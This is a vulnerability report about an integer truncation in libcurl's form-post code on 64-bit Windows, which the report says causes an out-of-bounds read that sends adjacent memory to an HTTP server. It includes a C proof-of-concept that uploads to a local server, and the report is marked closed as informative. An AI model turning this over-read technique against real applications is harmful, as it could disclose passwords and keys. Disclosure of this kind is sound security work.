Remote memory disclosure vulnerability in libcurl on 64 Bit Windows
High
C
curl
Submitted None
Actions:
Reported by
nsq11
Vulnerability Details
Technical details and impact analysis
# Remote memory disclosure vulnerability in libcurl on 64 Bit Windows
## Summary:
`libcurl` (latest) contains a vulnerability that enables attackers to
remotely read memory beyond the bounds of a buffer in the style of the
infamous "heartbleed" vulnerability. Luckily, however, this is only
possible when `libcurl` runs on 64 bit Windows and it requires an
attacker capable of influencing the size of a file upload part.
The core of the problem is the following: while on 64 Linux and BSD
systems, `sizeof(long)` is 8, on 64 bit Windows, it
is 4. Consequently, the function `AddHttpPost` carries out an integer
truncation and sign conversion on these systems, as the parameter
`bufferlength` of type `size_t` (8 byte wide, unsigned) is assigned to
the field `post->bufferlength` of type `long` (4 byte wide,
signed). The following excerpt shows the corresponding code:
```
static struct curl_httppost *
AddHttpPost(char *name, size_t namelength,
char *value, curl_off_t contentslength,
char *buffer, size_t bufferlength,
[...]
struct curl_httppost **last_post)
{
[...]
post->buffer = buffer;
post->bufferlength = (long)bufferlength; /* <=== */
[...]
}
```
In particular, this function is triggered when constructing an HTTP
POST request that specifies custom file upload parts, e.g., with a
statement such as the following:
```
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "name",
CURLFORM_BUFFER, "data",
CURLFORM_BUFFERPTR, buffer,
CURLFORM_BUFFERLENGTH, size,
CURLFORM_END);
```
An attacker capable of choosing the file to upload may choose for it
to be 4294967295 in size, and, indeed, `libcurl` will transfer this
file without trouble on 64 bit Linux. On 64 bit Windows, however, this
leads to `post->bufferlength` being -1 due to the
truncation/sign-conversion, which happens to also be the value of the
constant `CURL_ZERO_TERMINATED`. On posting the data, this undesirable
interpretation causes the function `curl_mime_data` to assume that the
length of the buffer to upload is not known and should be determined
via `strlen`. Assuming the buffer does not contain zero bytes - and in
fact, the documentation states that it MAY NOT contain zero bytes,
`strlen` will read beyond the bounds of the buffer `buffer`, and
subsequently transmit the buffer contents AND memory behind it to the
HTTP server.
The following (commented) excerpt of `curl_mime_data` illustrates this
behavior:
```
CURLcode curl_mime_data(curl_mimepart *part, /* <=== */
const char *data, size_t datasize)
{
[...]
if(data) {
// This branch is triggered when `datasize` is -1,
// Note that `datasize` is again `size_t`, so, it will
// then be > 2**32-1.
if(datasize == CURL_ZERO_TERMINATED)
datasize = strlen(data);
// With a system that has > 4GB RAM, this allocation
// succeeds.
part->data = malloc(datasize + 1);
if(!part->data)
return CURLE_OUT_OF_MEMORY;
// The part size is now set to be larger than 2**32-1,
// although 2**32-1 is the size of the file.
part->datasize = datasize;
```
## Steps To Reproduce:
To further illustrate the problem, I have created a sample application
for which the string "secret" is located directly after the
to-be-transmitted buffer. On 64 bit Linux, the program correctly
transmits only the contents of the buffer. On 64 bit Windows, it
transmits the buffer contents and the string "secret". Logging network
traffic using `tcpdump`, this has been confirmed as the attached
screenshots show.
The following is the sample program (test.c), which compiles both on Linux
and Windows (Visual Studio 2022 Community Edition).
```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <curl/curl.h>
int main(void)
{
CURL* curl;
CURLM* multi_handle;
int still_running = 0;
struct curl_httppost* formpost = NULL;
struct curl_httppost* lastptr = NULL;
struct curl_slist* headerlist = NULL;
static const char buf[] = "Expect:";
// Place 4294967295 'A's on the heap (the buffer to transmit),
// followed by the string "secret". If we now instruct libcurl
// to transfer 4294967295, it should only transfer 'A's.
size_t size = (size_t) 0xffffffff;
char* buffer = (char*)malloc(size + strlen("secret") + 1);
memset(buffer, 'A', size);
memcpy(buffer + size, "secret", strlen("secret"));
buffer[size + strlen("secret")] = '\0';
// Instruct curl to send the buffer, specifying its size
// to be 4294967295 (size)
int ret = curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "name",
CURLFORM_BUFFER, "data",
CURLFORM_BUFFERPTR, buffer,
CURLFORM_BUFFERLENGTH, size,
CURLFORM_END);
// The return value is 0 (success)
printf("%d\n", ret);
curl = curl_easy_init();
multi_handle = curl_multi_init();
headerlist = curl_slist_append(headerlist, buf);
if (curl && multi_handle) {
// We are uploading to a local webserver, but this can be any webserver.
// upload.cgi can be an empty file.
curl_easy_setopt(curl, CURLOPT_URL, "http://192.168.1.216/upload.cgi");
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
curl_multi_add_handle(multi_handle, curl);
do {
CURLMcode mc = curl_multi_perform(multi_handle, &still_running);
if (still_running)
/* wait for activity, timeout or "nothing" */
mc = curl_multi_poll(multi_handle, NULL, 0, 1000, NULL);
if (mc)
break;
} while (still_running);
curl_multi_cleanup(multi_handle);
curl_easy_cleanup(curl);
curl_formfree(formpost);
curl_slist_free_all(headerlist);
}
return 0;
}
```
As suggested patch would be to use the type `long long` as opposed to
`long` for the buffer length. `long long` is guaranteed to be 8 byte
wide on Linux and Windows 64 bit systems.
## Impact
An attacker could read memory from the process remotely, meaning that any information processed by the program using libcurl may be disclosed. Depending on the application, this information may be sensitive, e.g., passwords, keys could be in memory. In addition, reading memory offsets may be useful to identify memory mappings remotely in preparation for a memory corruption exploits that requires bypassing of ASLR.
Report Details
Additional information and metadata
State
Closed
Substate
Informative
Submitted
Weakness
Information Exposure Through Sent Data